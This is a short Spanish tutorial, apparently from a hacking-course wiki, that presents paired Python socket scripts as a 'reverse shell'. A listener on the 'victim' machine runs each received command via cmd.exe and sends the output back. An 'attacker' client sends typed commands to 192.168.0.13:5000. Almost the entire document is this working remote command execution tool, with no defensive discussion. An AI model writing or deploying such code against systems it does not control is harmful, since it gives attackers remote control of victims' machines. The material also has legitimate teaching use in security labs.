Tabla de Contenidos

Reverse shell con sockets

Necesitaremos un script de la máquina atacante, donde se va a pedir al usuario que envíe un comando para que se envíe a la máquina víctima; y después al mismo tiempo recibiremos ese output procedente de la máquina víctima de vuelta a nuestra máquina atacante.

CÓDIGO MÁQUINA ATACANTE

import socket
 
# Definimos la dirección y puerto del servidor (Siempre de la máquina víctima)
server_address = ('192.168.0.13', 5000)
 
while True:
    # Creamos el socket cliente, ya que restablecemos la conexión a cada comando que se ejecute
    client_socket = socket.socket()
    client_socket.connect(server_address)
 
    # Solicitamos al usuario que introduzca un comando
    comando_enviar = input("Introduce el comando que quieras enviar a la máquina víctima (o 'exit' para salir): ")
 
    # Si el usuario introduce "exit", cerramos la conexión y salimos del bucle
    if comando_enviar == 'exit':
        client_socket.close()
        break
 
    # Enviamos el comando a la máquina víctima:
    client_socket.send(comando_enviar.encode())
 
    # Esperamos a recibir la respuesta de la víctima y lo guardamos en la variable respuesta.
    respuesta = client_socket.recv(4096)
 
    # Imprimimos la respuesta;
    print(respuesta.decode()) 
 
    # Cerramos el socket, que se volverá a abrir al inicio del bucle:
    client_socket.close()

CÓDIGO MÁQUINA VÍCTIMA

Este es el código que se ejecutará en la máquina víctima:

import socket
import subprocess
 
# Definimos la dirección y puerto (Siempre de la máquina víctima)
server_address = ('192.168.0.13', 5000)
 
while True:
    # Creamos el socket (la conexión)
    server_socket = socket.socket()
    server_socket.bind(server_address)
    server_socket.listen(1)
    # Esperamos a recibir una conexión
    client_socket, client_address = server_socket.accept()
 
    # Recibimos el comando de la máquina atacante
    comando = client_socket.recv(4096).decode()
 
    # Si el cliente envía "exit", cerramos la conexión y salimos del bucle
    if comando == 'exit':
        client_socket.close()
        break
 
    # Ejecutamos el comando y obtenemos su salida en la variable result
    result = subprocess.run(f"cmd.exe /c {comando}", shell=True, capture_output=True, text=True)
    salida = result.stdout
 
    # Enviamos la salida a la máquina atacante
    client_socket.send(salida.encode())
 
    # Cerramos la conexión con el cliente
    client_socket.close()
 
    # Cerramos el socket servidor
    server_socket.close()

Ahora el funcionamiento será el siguiente, donde primero ejecutaremos el código desde la máquina víctima para que permanezca en escucha a espera del comando enviado por la máquina atacante:

Y ahora si ejecutamos el código desde la máquina atacante, ya podremos insertar el comando que queramos y recibirlo de vuelta: